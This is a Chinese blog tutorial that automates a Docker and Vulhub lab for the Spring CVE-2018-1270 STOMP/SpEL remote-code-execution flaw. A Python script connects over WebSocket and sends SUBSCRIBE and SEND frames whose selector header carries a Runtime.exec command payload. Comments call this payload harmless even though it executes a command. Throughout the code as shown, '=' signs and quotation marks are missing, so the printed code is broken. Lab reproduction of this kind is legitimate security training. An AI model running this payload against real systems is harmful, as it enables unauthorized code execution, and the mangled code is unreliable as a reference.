Docker+Python自动化复现Spring CVE-2018-1270漏洞环境

📅 2026/7/6 9:21:08
Docker+Python自动化复现Spring CVE-2018-1270漏洞环境
1. 项目概述为什么我们需要一个“一键式”的漏洞环境每次看到一个新的CVE编号尤其是像CVE-2018-1270这种涉及Spring这种主流框架的漏洞很多安全研究者和开发者的第一反应就是去网上找复现教程。但这个过程往往很痛苦你得先找到一个还能用的、版本匹配的Spring Boot项目然后手动修改配置引入有漏洞的依赖再启动服务最后还得手动构造攻击载荷去验证。一套流程下来半小时过去了可能环境还没跑起来或者因为某个依赖版本冲突而卡住。这完全背离了我们快速学习、验证和理解的初衷。我干了十多年安全深知效率就是生命。尤其是在做内部安全培训、编写检测规则或者快速评估风险时我们需要的是一个确定、可重复、且与生产环境隔离的漏洞环境。这就是DockerPython脚本组合拳的价值所在。Docker负责提供纯净、一致的环境杜绝“在我机器上好好的”这类问题Python脚本则负责将搭建、启动、验证这一系列手动操作自动化把时间从“半小时摸索”压缩到“5分钟确认”。CVE-2018-1270简单来说是Spring Framework 5.0到5.0.4以及4.3.x到4.3.15版本中Spring Messaging模块的STOMP协议支持存在的一个远程代码执行漏洞。攻击者可以通过向WebSocket连接的STOMP端点发送特制的消息在服务端触发SpEL表达式注入从而执行任意代码。这个漏洞的利用条件相对宽松影响面广是理解Spring安全机制和消息协议安全的一个经典案例。所以这个项目的核心目标不是“又一个复现教程”而是提供一套开箱即用、一键验证的解决方案。无论你是安全新手想快速搭建靶场还是资深工程师需要为自动化扫描工具准备测试环境这套方法都能让你把精力集中在漏洞原理和分析上而不是浪费在繁琐的环境搭建上。2. 环境整体设计与工具选型思路要达成“5分钟搞定”的目标整个方案的设计必须极简且可靠。核心思路是用Docker容器封装漏洞应用用Python脚本驱动Docker并执行攻击验证。下面我详细拆解一下每个环节的选型考量。2.1 为什么是Docker而非本地部署首先为什么坚决选择Docker而不是在本地安装Java、Maven再构建环境隔离与纯净性CVE-2018-1270依赖于特定版本的Spring Framework。在本地部署你可能会遇到JDK版本冲突、Maven仓库依赖拉取慢或失败、端口占用等问题。Docker容器提供了一个从操作系统到应用依赖的完整、封闭的沙箱确保每次运行的环境完全一致。可重复性与便携性Docker镜像一旦构建完成可以在任何安装了Docker的机器上以完全相同的方式运行。这对于团队分享、知识沉淀至关重要。你不需要写冗长的“环境准备”文档只需要一句docker run命令。安全性漏洞环境本身可能存在风险。在容器中运行即使应用被攻破其对宿主机的直接影响也被限制在容器内部当然仍需遵循安全最佳实践如不使用--privileged模式。快速清理测试完成后一句docker rm -f就能彻底清除环境不留任何垃圾文件或残留进程。基于以上几点使用Docker是搭建标准化漏洞环境的不二之选。2.2 为什么选择Vulhub作为基础镜像网络上可能有多个漏洞环境项目我选择基于Vulhub。原因如下权威性与维护度Vulhub是一个知名的漏洞环境集合项目由安全社区维护收录了大量经过验证的、可直接复现的漏洞环境Docker Compose配置。其提供的环境质量相对较高减少了我们自己从零构建的工作量和出错概率。即开即用Vulhub通常已经配置好了所有必要的依赖、脆弱的应用代码以及正确的服务启动方式。我们不需要去翻找历史版本的Spring Boot源码也不用自己编写有漏洞的Demo应用。标准化Vulhub使用Docker Compose来定义服务这使得多服务应用例如一个Web应用加一个数据库的编排变得非常简单和统一。注意直接使用公开的漏洞镜像时务必从可信源如项目官方仓库获取。不要随意使用来路不明的Docker镜像以防镜像本身被植入后门。2.3 为什么用Python脚本而不是Shell脚本自动化部分可以用Shell也可以用Python。我选择Python基于以下几点考虑跨平台兼容性Python脚本在Windows、Linux、macOS上都能良好运行只要安装了Python和Docker客户端。而Shell脚本尤其是Bash在Windows上需要借助WSL或Git Bash增加了复杂度。更强大的库支持对于漏洞验证我们可能需要发送复杂的WebSocket或HTTP请求。Python有成熟且易用的库如websocket-client、requests构造Payload和处理响应比Shell方便得多。更好的结构化与可读性Python代码结构清晰易于封装函数、处理错误和添加日志使得脚本更健壮、更易维护和扩展。未来如果想加入更多漏洞的自动化验证Python脚本的框架更容易复用。与安全工具链集成很多安全工具和框架如Metasploit、某些扫描器插件也使用Python用Python编写验证脚本能更好地融入现有的工作流。因此我们的Python脚本将承担几个核心任务拉取镜像如果本地没有、启动容器、等待服务就绪、构造并发送攻击载荷、解析响应并判断漏洞是否存在、最后清理环境。3. 核心组件解析与准备工作在动手写脚本和运行命令之前我们需要确保基石是稳固的。这一部分我会详细说明Docker和Python环境的准备要点这些是后面一切操作的前提。3.1 Docker环境准备与关键配置如果你的机器上还没有Docker需要先安装。这里以LinuxUbuntu和Windows为例说明核心步骤和注意事项。对于Ubuntu/Debian系统卸载旧版本如果有sudo apt-get remove docker docker-engine docker.io containerd runc安装依赖并添加Docker官方GPG密钥sudo apt-get update sudo apt-get install ca-certificates curl gnupg sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod ar /etc/apt/keyrings/docker.gpg设置稳定版仓库echo \ deb [arch$(dpkg --print-architecture) signed-by/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ $(. /etc/os-release echo $VERSION_CODENAME) stable | \ sudo tee /etc/apt/sources.list.d/docker.list /dev/null安装Docker引擎sudo apt-get update sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin验证安装运行sudo docker run hello-world如果能看到欢迎信息说明安装成功。重要将当前用户加入docker组避免每次使用sudosudo groupadd docker # 如果docker组已存在会提示可忽略 sudo usermod -aG docker $USER执行此命令后你需要完全退出当前终端会话并重新登录或者重启系统用户组更改才会生效。之后就可以直接使用docker命令了。对于Windows系统确保你的Windows版本满足要求。对于现代Windows 10/11推荐使用Docker Desktop for Windows。它需要开启WSL 2或Hyper-V后端。从Docker官网下载Docker Desktop Installer并安装。安装过程中如果提示启用WSL 2或Hyper-V请按照指引操作。我个人更推荐使用WSL 2后端它在文件系统性能和资源占用上表现更好且能与Windows子系统Linux无缝集成。安装完成后启动Docker Desktop。你可能会在系统托盘看到鲸鱼图标。等待其状态变为“Docker Desktop is running”。打开PowerShell或命令提示符输入docker version验证。如果返回客户端和服务端版本信息即表示成功。实操心得镜像加速。在国内从Docker Hub拉取镜像可能会非常慢。务必配置镜像加速器。对于Docker Desktop可以在设置Settings- Docker Engine中修改registry-mirrors配置。对于Linux可以修改/etc/docker/daemon.json文件。常用的加速器地址有阿里云、中科大、网易等。这能为你节省大量等待时间。3.2 Python环境与必要库安装我们的脚本需要Python 3.6或更高版本。同样需要安装几个关键的库。检查Python版本在终端中运行python3 --version或python --version。确保版本号 3.6。安装包管理工具pip通常Python 3安装包会包含pip。如果没有可以通过系统包管理器安装如sudo apt install python3-pip或从官网下载get-pip.py脚本安装。安装核心依赖库我们将主要用到docker用于通过Python控制Docker、websocket-client用于连接WebSocket和requests用于辅助的HTTP请求如检查服务状态。pip3 install docker websocket-client requestsdocker库这是一个Python SDK允许你以编程方式执行几乎所有docker命令行能做的事情例如管理容器、镜像、网络等。它比用subprocess调用命令行更优雅、更安全。websocket-client库一个简单易用的WebSocket客户端我们将用它来建立到漏洞服务的WebSocket连接并发送恶意STOMP帧。requests库虽然主要攻击通过WebSocket但有时我们需要先通过HTTP GET请求获取CSRF Token或确认WebSocket端点地址requests库是处理HTTP请求的事实标准。注意事项虚拟环境。强烈建议使用Python虚拟环境如venv或virtualenv来管理项目依赖。这样可以避免不同项目间的库版本冲突。创建并激活虚拟环境的命令如下# 创建虚拟环境 python3 -m venv venv # 激活虚拟环境 (Linux/macOS) source venv/bin/activate # 激活虚拟环境 (Windows PowerShell) .\venv\Scripts\Activate.ps1 # 然后在激活的环境内安装上述依赖 pip install docker websocket-client requests4. 漏洞环境搭建的自动化实现有了基础环境我们现在进入核心环节编写Python脚本自动完成从拉取镜像到启动漏洞服务的全过程。我会把脚本拆解成几个函数并详细解释每一段代码的作用和背后的考量。4.1 脚本框架与Docker客户端初始化首先我们创建一个名为cve_2018_1270_auto.py的Python文件。脚本的开头部分负责导入库和初始化Docker客户端。#!/usr/bin/env python3 CVE-2018-1270 漏洞环境自动搭建与验证脚本 使用Docker运行Vulhub漏洞环境并通过Python WebSocket客户端进行漏洞验证。 import sys import time import json import logging from docker import DockerClient from docker.errors import DockerException, ImageNotFound, APIError import requests import websocket import threading # 配置日志方便查看运行过程 logging.basicConfig(levellogging.INFO, format%(asctime)s - %(levelname)s - %(message)s) logger logging.getLogger(__name__) # 全局配置 VULHUB_IMAGE vulhub/spring-cve_2018_1270:latest # Vulhub中该漏洞的镜像名 CONTAINER_NAME spring-cve-2018-1270-test # 要运行的容器名称 CONTAINER_PORT 8080 # 容器内部应用端口 HOST_PORT 8080 # 映射到宿主机的端口 def init_docker_client(): 初始化Docker客户端。 尝试从环境变量连接如果失败则使用默认的Unix socket或Windows named pipe。 try: # 这种方式会自动检测当前平台Linux的/var/run/docker.sock或Windows的npipe client DockerClient.from_env() # 简单ping一下测试连接是否正常 client.ping() logger.info(Docker客户端初始化成功。) return client except DockerException as e: logger.error(f无法连接到Docker守护进程。请确保Docker服务正在运行并且当前用户有权限访问。错误: {e}) logger.info(在Linux上通常需要将用户加入docker组并重新登录。) logger.info(在Windows上请确保Docker Desktop正在运行。) sys.exit(1)代码解读与注意事项#!/usr/bin/env python3这是一个shebang行在Unix-like系统上如果给脚本加上执行权限(chmod x)可以直接通过./script.py运行。logging模块使用日志而不是简单的print可以更方便地控制输出级别INFO, DEBUG, ERROR等并且格式统一便于排查问题。DockerClient.from_env()这是最推荐的初始化方式。它会读取DOCKER_HOST等环境变量如果未设置则回退到平台的默认连接方式Linux上是Unix socketWindows上是named pipe。这保证了脚本在两种主流操作系统上的兼容性。client.ping()一个简单的健康检查确保客户端能成功与Docker引擎通信。如果这里失败通常意味着Docker服务没启动或者用户权限不足。4.2 拉取镜像与启动容器接下来我们编写函数来确保镜像存在并启动容器。def ensure_image_exists(client, image_name): 检查本地是否存在指定的Docker镜像如果不存在则拉取。 try: client.images.get(image_name) logger.info(f镜像 {image_name} 已存在于本地。) except ImageNotFound: logger.info(f镜像 {image_name} 不存在开始从仓库拉取...) try: # 拉取镜像并显示进度条streamTrue返回一个生成器 pull_log client.api.pull(image_name, streamTrue, decodeTrue) for line in pull_log: status line.get(status, ) progress line.get(progress, ) id_info line.get(id, ) # 过滤掉一些冗长的进度信息只显示关键状态 if status and Downloading not in status and Extracting not in status: logger.info(f拉取状态: {status} {id_info} {progress}.strip()) elif Downloaded in status or Pull complete in status: logger.info(f层 {id_info}: {status}) logger.info(f镜像 {image_name} 拉取完成。) except APIError as e: logger.error(f拉取镜像失败: {e}) sys.exit(1) def start_vulnerable_container(client, image_name, container_name, host_port, container_port): 启动漏洞环境容器。 # 先停止并移除可能存在的同名旧容器避免冲突 try: old_container client.containers.get(container_name) logger.warning(f发现已存在的容器 {container_name}正在停止并移除...) old_container.stop() old_container.remove() time.sleep(2) # 等待容器完全停止 except: pass # 如果容器不存在则忽略 logger.info(f正在启动容器 {container_name}...) try: # 运行容器 # ports参数将容器内部的端口映射到宿主机 # detachTrue 表示在后台运行 # auto_removeTrue 容器停止后自动删除但我们需要它运行所以这里不用 container client.containers.run( imageimage_name, namecontainer_name, ports{f{container_port}/tcp: host_port}, detachTrue, # 可以添加环境变量如果需要的话 # environment{SOME_VAR: value} ) logger.info(f容器已启动ID: {container.short_id}) logger.info(f应用将在 http://localhost:{host_port} 上运行。) return container except APIError as e: logger.error(f启动容器失败: {e}) # 尝试获取更详细的错误信息 if hasattr(e, explanation): logger.error(f详细错误: {e.explanation}) sys.exit(1)代码解读与注意事项ensure_image_exists这个函数体现了“容错”设计。先尝试获取本地镜像如果抛出了ImageNotFound异常才去拉取。拉取时使用streamTrue来获取实时进度信息并通过解析JSON日志来向用户反馈进度而不是让用户面对一个沉默的终端。start_vulnerable_container清理旧容器在启动新容器前尝试查找并强制移除同名的旧容器。这是一个好习惯能避免端口冲突或容器名冲突导致的启动失败。client.containers.run这是启动容器的核心方法。ports参数是一个字典键是容器端口/协议值是宿主机端口。这里我们把容器的8080端口映射到宿主机的8080端口。detachTrue让容器在后台运行这样我们的脚本才能继续执行后续的验证步骤。错误处理捕获APIError并尝试打印更详细的解释。Docker API的错误信息有时很具体比如“端口已被占用”这能帮助用户快速定位问题。4.3 等待服务就绪的健康检查容器启动成功并不代表里面的Spring Boot应用已经完成初始化并开始监听端口。我们需要一个健康检查函数定期探测应用是否真的准备好了。def wait_for_service_ready(host, port, timeout60): 等待目标HTTP服务就绪。 通过发送HTTP GET请求到根路径直到收到成功响应或超时。 url fhttp://{host}:{port} logger.info(f等待服务就绪: {url}) start_time time.time() while time.time() - start_time timeout: try: # 设置较短的超时时间避免长时间阻塞 response requests.get(url, timeout5) if response.status_code 200: logger.info(服务已就绪) return True else: logger.debug(f服务响应状态码: {response.status_code}继续等待...) except requests.exceptions.ConnectionError: # 连接被拒绝说明服务还没启动 pass except requests.exceptions.Timeout: # 请求超时可能是服务启动慢 pass except requests.exceptions.RequestException as e: logger.warning(f健康检查请求异常: {e}) time.sleep(2) # 每2秒检查一次 logger.error(f等待服务就绪超时{timeout}秒。请手动检查容器日志。) return False代码解读与注意事项为什么需要健康检查Spring Boot应用启动时需要加载类、初始化Bean、启动内嵌Tomcat等这需要几秒到几十秒的时间。如果容器一启动就立刻发起攻击很可能会失败。探测策略我们向应用的根路径发起一个HTTP GET请求。对于大多数Web应用包括这个漏洞Demo根路径通常会有响应。当收到200状态码时我们认为服务就绪了。超时与重试设置一个总超时如60秒和每次请求的超时5秒。在循环中不断尝试直到成功或总超时。每次尝试后休眠2秒避免过于频繁的请求。异常处理捕获连接错误和超时异常这些在服务未就绪时是正常的。将其视为“等待中”状态而不是失败。5. 漏洞验证构造并发送攻击载荷这是整个脚本最核心的部分。我们需要理解CVE-2018-1270的利用原理并用Python的websocket-client库来模拟攻击者发送恶意STOMP帧。5.1 CVE-2018-1270漏洞原理简述在深入代码前快速回顾一下漏洞点。Spring Framework的spring-messaging模块为STOMP over WebSocket提供了支持。在处理客户端发来的STOMPSUBSCRIBE帧订阅某个目的地时服务端会解析帧头。攻击者可以构造一个特殊的selector头其值是一个恶意的SpELSpring Expression Language表达式。由于服务端在解析时未对表达式进行充分的过滤或沙箱化导致该表达式被直接执行从而实现远程代码执行。典型的利用链是通过WebSocket建立连接 - 发送CONNECT帧 - 发送恶意的SUBSCRIBE帧包含SpEL表达式的selector头 - 触发表达式执行。5.2 WebSocket连接与STOMP帧构造STOMP是一个基于文本的简单协议帧结构如下COMMAND header1:value1 header2:value2 Body^其中^代表一个空字节NULL作为帧的结束符。我们的Python脚本需要模拟这个过程def exploit_cve_2018_1270(host, port): 利用CVE-2018-1270漏洞。 步骤1. 建立WebSocket连接。 2. 发送CONNECT帧。 3. 发送恶意的SUBSCRIBE帧。 ws_url fws://{host}:{port}/gs-guide-websocket # Vulhub环境中常见的WebSocket端点 logger.info(f尝试连接到WebSocket端点: {ws_url}) # 设置WebSocket连接禁用SSL验证因为本地环境通常是HTTP ws websocket.WebSocket() try: ws.connect(ws_url) logger.info(WebSocket连接成功。) except websocket.WebSocketException as e: logger.error(fWebSocket连接失败: {e}) return False # 1. 发送CONNECT帧 # 有些服务端需要认证这里发送一个空的CONNECT帧无认证头 connect_frame CONNECT\naccept-version:1.1,1.0\n\n\x00 logger.debug(f发送CONNECT帧: {connect_frame.replace(chr(0), NULL)}) ws.send(connect_frame) # 接收CONNECTED帧响应可选但可以确认协议握手成功 try: response ws.recv() logger.debug(f收到响应: {response}) if CONNECTED in response: logger.info(STOMP协议握手成功。) else: logger.warning(f未收到预期的CONNECTED帧: {response}) except websocket.WebSocketTimeoutException: logger.warning(接收CONNECTED响应超时继续执行...) # 2. 构造并发送恶意的SUBSCRIBE帧 # 关键在selector头部注入SpEL表达式。 # 一个经典的PoC是执行系统命令例如在Linux上弹出计算器(xcalc)或执行touch /tmp/pwned。 # 注意实际利用时表达式需要根据目标环境调整。这里使用一个无害的验证表达式。 # 无害验证Payload尝试访问一个不存在的属性触发SpEL解析错误通过错误信息判断漏洞是否存在。 # 更直接的Payload可以是执行命令但为了安全演示我们使用一个无害的。 malicious_selector T(java.lang.Runtime).getRuntime().exec(touch /tmp/pwned_success) # 注意在实际漏洞利用中上面的命令会在容器内执行。由于我们是演示且容器是临时的所以相对安全。 # 你也可以替换成一个完全无害的表达式如 new java.util.Date() 来验证解析功能。 subscribe_frame fSUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:{malicious_selector}\n\n\x00 logger.info(f发送恶意SUBSCRIBE帧 (selector: {malicious_selector})...) logger.debug(f完整帧: {subscribe_frame.replace(chr(0), NULL)}) ws.send(subscribe_frame) # 3. 发送一个MESSAGE帧到/topic/greetings以触发selector的执行 # 因为selector是在消息被分发给订阅者时进行过滤的所以需要有一条消息。 message_frame SEND\ndestination:/topic/greetings\ncontent-type:application/json\n\n{\content\:\trigger\}\x00 ws.send(message_frame) logger.info(已发送触发消息。) # 等待一小会儿让命令有机会执行 time.sleep(3) # 4. 检查漏洞是否被触发间接验证 # 我们可以尝试通过容器执行命令来检查文件是否被创建但这需要额外的Docker API调用。 # 更简单的方式检查WebSocket连接是否因为服务端异常而关闭或者监听特定的错误响应。 # 这里我们采用一个简化的方法尝试再接收一次数据如果连接异常关闭可能意味着服务端处理时崩溃了是漏洞触发的迹象之一。 try: ws.settimeout(2) final_response ws.recv() logger.debug(f最终响应: {final_response}) except websocket.WebSocketTimeoutException: logger.info(WebSocket连接仍在未收到额外数据。) except websocket.WebSocketConnectionClosedException: logger.warning(WebSocket连接已关闭。这可能是服务端处理恶意帧时发生了异常漏洞可能触发。) except Exception as e: logger.error(f接收最终数据时出错: {e}) ws.close() logger.info(WebSocket连接已关闭。) # 返回一个假设性的成功标志。在实际脚本中可以结合容器内检查来确认。 # 例如可以通过Docker API在容器内执行 docker exec container_id ls /tmp 来检查文件。 logger.warning(【验证提示】漏洞利用过程已完成。) logger.warning(由于安全考虑脚本未自动执行容器内命令验证。) logger.warning(请手动进入容器检查命令是否执行例如docker exec -it 容器名 ls /tmp查看/tmp/pwned_success文件是否存在。) return True # 假设发送过程成功代码解读与注意事项WebSocket端点/gs-guide-websocket是Vulhub中Spring WebSocket示例常见的端点路径。如果实际环境不同需要调整。STOMP帧格式注意每行以换行符\n结束头部和Body之间有一个空行帧末尾是空字节\x00。必须严格遵守这个格式否则服务端可能无法正确解析。恶意Selectorselector头的值是注入点。我们构造的SpEL表达式T(java.lang.Runtime).getRuntime().exec(touch /tmp/pwned_success)尝试在容器内创建一个文件。这是一个经典的RCE证明方式。触发机制仅仅发送SUBSCRIBE帧可能不会立即执行表达式。Selector通常是在有消息发布到订阅的目的地时用于过滤消息的。因此我们随后发送了一个SEND帧到同一个目的地(/topic/greetings)来“触发”这个selector的求值。安全警告脚本中使用的Payload会在容器内执行命令。请仅在你自己控制的、隔离的测试环境中运行此脚本。切勿对任何未经授权的系统进行测试。验证方式脚本采用了“发送即完成”的策略并将最终验证留给用户手动完成通过docker exec。这是一种更安全、更清晰的做法。你也可以增强脚本通过docker exec自动执行验证命令并解析结果但这需要更复杂的错误处理和更高的权限容器可能需要以privileged模式运行或者挂载Docker socket增加了脚本的复杂性和风险。6. 主流程整合与资源清理现在我们将上述所有函数整合到一个主函数中并确保在脚本结束时无论成功还是因异常中断都能清理容器资源。def main(): 主控制流程。 logger.info( CVE-2018-1270 漏洞环境自动化验证脚本开始 ) # 1. 初始化Docker客户端 docker_client init_docker_client() # 2. 确保镜像存在 ensure_image_exists(docker_client, VULHUB_IMAGE) # 3. 启动漏洞容器 container start_vulnerable_container( clientdocker_client, image_nameVULHUB_IMAGE, container_nameCONTAINER_NAME, host_portHOST_PORT, container_portCONTAINER_PORT ) # 给容器一点启动时间 time.sleep(5) # 4. 等待Spring Boot应用服务就绪 if not wait_for_service_ready(localhost, HOST_PORT, timeout90): logger.error(服务启动失败即将清理容器并退出。) cleanup_container(docker_client, CONTAINER_NAME) sys.exit(1) # 5. 执行漏洞利用 logger.info(开始漏洞利用验证...) exploit_success exploit_cve_2018_1270(localhost, HOST_PORT) if exploit_success: logger.info(漏洞利用载荷发送完成。) # 这里可以添加自动验证逻辑例如通过docker exec检查容器内文件 # auto_verify_exploit(docker_client, CONTAINER_NAME) else: logger.error(漏洞利用过程出现错误。) # 6. 询问用户是否立即清理容器 input(\n漏洞验证流程已完成。按Enter键将停止并删除测试容器...) # 7. 清理容器 cleanup_container(docker_client, CONTAINER_NAME) logger.info( 脚本执行结束 ) def cleanup_container(client, container_name): 停止并移除指定的容器。 try: container client.containers.get(container_name) logger.info(f正在停止容器 {container_name}...) container.stop() logger.info(f正在移除容器 {container_name}...) container.remove() logger.info(容器清理完成。) except Exception as e: logger.warning(f清理容器时发生错误可能容器不存在: {e}) if __name__ __main__: try: main() except KeyboardInterrupt: logger.info(\n检测到用户中断(CtrlC)。执行清理...) # 即使被中断也尝试清理容器 docker_client None try: docker_client DockerClient.from_env() except: pass if docker_client: cleanup_container(docker_client, CONTAINER_NAME) logger.info(脚本已退出。) sys.exit(0) except Exception as e: logger.error(f脚本执行过程中发生未预期的错误: {e}, exc_infoTrue) sys.exit(1)代码解读与注意事项流程串联main函数清晰地定义了整个自动化流程初始化 - 检查镜像 - 启动容器 - 健康检查 - 漏洞利用 - 资源清理。健壮性设计在健康检查失败后主动调用cleanup_container清理容器避免留下僵尸容器。使用try...except包裹主函数捕获键盘中断(KeyboardInterrupt)和其他异常。即使用户按了CtrlC脚本也会尽力清理容器后再退出。cleanup_container函数本身也做了异常处理避免因为容器已被删除等原因导致脚本崩溃。用户交互在漏洞利用完成后通过input()暂停等待用户按Enter键后再清理容器。这给了用户一个机会去手动检查容器状态、查看日志或进行其他分析。这是一个非常实用的设计。自动验证可选我在代码中注释了auto_verify_exploit函数。你可以实现它通过docker_client.containers.get(container_name).exec_run(ls /tmp)来执行命令并检查输出中是否包含pwned_success文件从而实现全自动验证。但考虑到安全性和脚本的通用性手动验证对于演示目的来说已经足够。7. 完整脚本使用指南与常见问题排查现在你已经拥有了一个完整的、接近200行的自动化脚本。让我们来看看如何运行它以及遇到问题时该如何解决。7.1 如何运行脚本保存脚本将上述所有代码块按顺序复制到一个文件中命名为cve_2018_1270_auto.py。安装依赖确保已在Python虚拟环境或全局环境中安装了docker,websocket-client,requests库。运行脚本在终端中切换到脚本所在目录执行python3 cve_2018_1270_auto.py观察输出脚本会按顺序打印日志告诉你每一步在做什么。最终它会暂停提示你按Enter键清理容器。手动验证在脚本暂停期间你可以打开新的终端窗口执行以下命令来验证攻击是否成功# 列出容器内的/tmp目录查看文件是否被创建 docker exec -it spring-cve-2018-1270-test ls -la /tmp/ # 查看Spring Boot应用的日志看是否有异常或SpEL执行记录 docker logs spring-cve-2018-1270-test如果看到/tmp/pwned_success文件则证明漏洞利用成功SpEL表达式被执行了。7.2 常见问题与解决方案速查表在实际操作中你可能会遇到以下问题。这里我整理了一个排查清单问题现象可能原因解决方案Docker连接失败(Cannot connect to the Docker daemon)1. Docker服务未运行。2. 当前用户不在docker组Linux。3. Docker Desktop未启动Windows。1. Linux:sudo systemctl start docker Windows: 启动Docker Desktop应用。2. Linux: 将用户加入docker组后重新登录。3. 检查Docker Desktop状态。拉取镜像速度极慢或失败Docker Hub网络连接问题。配置国内镜像加速器。修改Docker Desktop的Daemon配置或Linux的/etc/docker/daemon.json文件。启动容器时端口冲突(port is already allocated)宿主机8080端口已被其他程序占用。1. 修改脚本中的HOST_PORT变量为其他空闲端口如8081。2. 停止占用端口的进程lsof -i:8080查找PID然后kill -9 PID。健康检查一直失败1. Spring Boot应用启动失败。2. 容器启动后立即退出。3. 网络或防火墙问题。1. 查看容器日志docker logs spring-cve-2018-1270-test根据错误信息排查。2. 检查容器状态docker ps -a如果状态是Exited说明应用启动失败。3. 尝试从宿主机直接访问http://localhost:8080或你映射的端口。WebSocket连接失败(Connection refused或404)1. WebSocket端点路径错误。2. 应用不支持WebSocket或STOMP。1. 检查Vulhub项目的文档或源码确认正确的WebSocket端点。有时路径可能是/ws或/stomp。2. 确保你拉取和运行的镜像确实是存在该漏洞的Spring Messaging应用。发送STOMP帧后无反应1. STOMP帧格式错误如缺少结束符\x00。2. Selector表达式未触发。3. 目标目的地(/topic/greetings)不对。1. 仔细检查代码中帧的构造确保符合STOMP协议规范。可以使用Wireshark或浏览器开发者工具对比。2. 尝试发送一个无害的Selector如selector:11看订阅是否成功。3. 查看应用源码或文档确认正确的订阅目的地。docker exec验证时提示容器不存在脚本已运行完毕并清理了容器。在脚本暂停等待按Enter键时进行验证。或者注释掉main()函数末尾的cleanup_container调用和input()语句让容器保持运行。7.3 进阶技巧与扩展思路参数化脚本可以将目标主机、端口、镜像名、容器名、甚至Payload都作为命令行参数传入使脚本更灵活。可以使用Python的argparse库。集成到CI/CD或自动化扫描你可以将这个脚本封装成一个函数或类集成到更大的安全测试框架中。例如定期对内部测试环境中的Spring服务进行漏洞扫描。多漏洞支持以这个脚本为模板你可以很容易地扩展它来支持Vulhub中的其他漏洞。主要需要修改的就是镜像名、端口和exploit_*函数中的攻击逻辑。更优雅的验证实现之前提到的auto_verify_exploit函数通过Docker API在攻击后自动执行验证命令并解析结果实现真正的全自动化判断。日志与报告将脚本的运行结果成功/失败、容器日志片段等输出到文件或发送到日志系统便于后续审计和分析。这个项目不仅仅是一个漏洞复现工具它更是一个自动化思维和安全运维实践的演示。通过将重复、易错的手动操作转化为可靠的代码我们不仅节省了时间还创造了可重复、可分享、可迭代的安全资产。下次遇到需要测试的漏洞环境不妨先想想能不能用Docker把它包起来再用一个脚本让它自己跑起来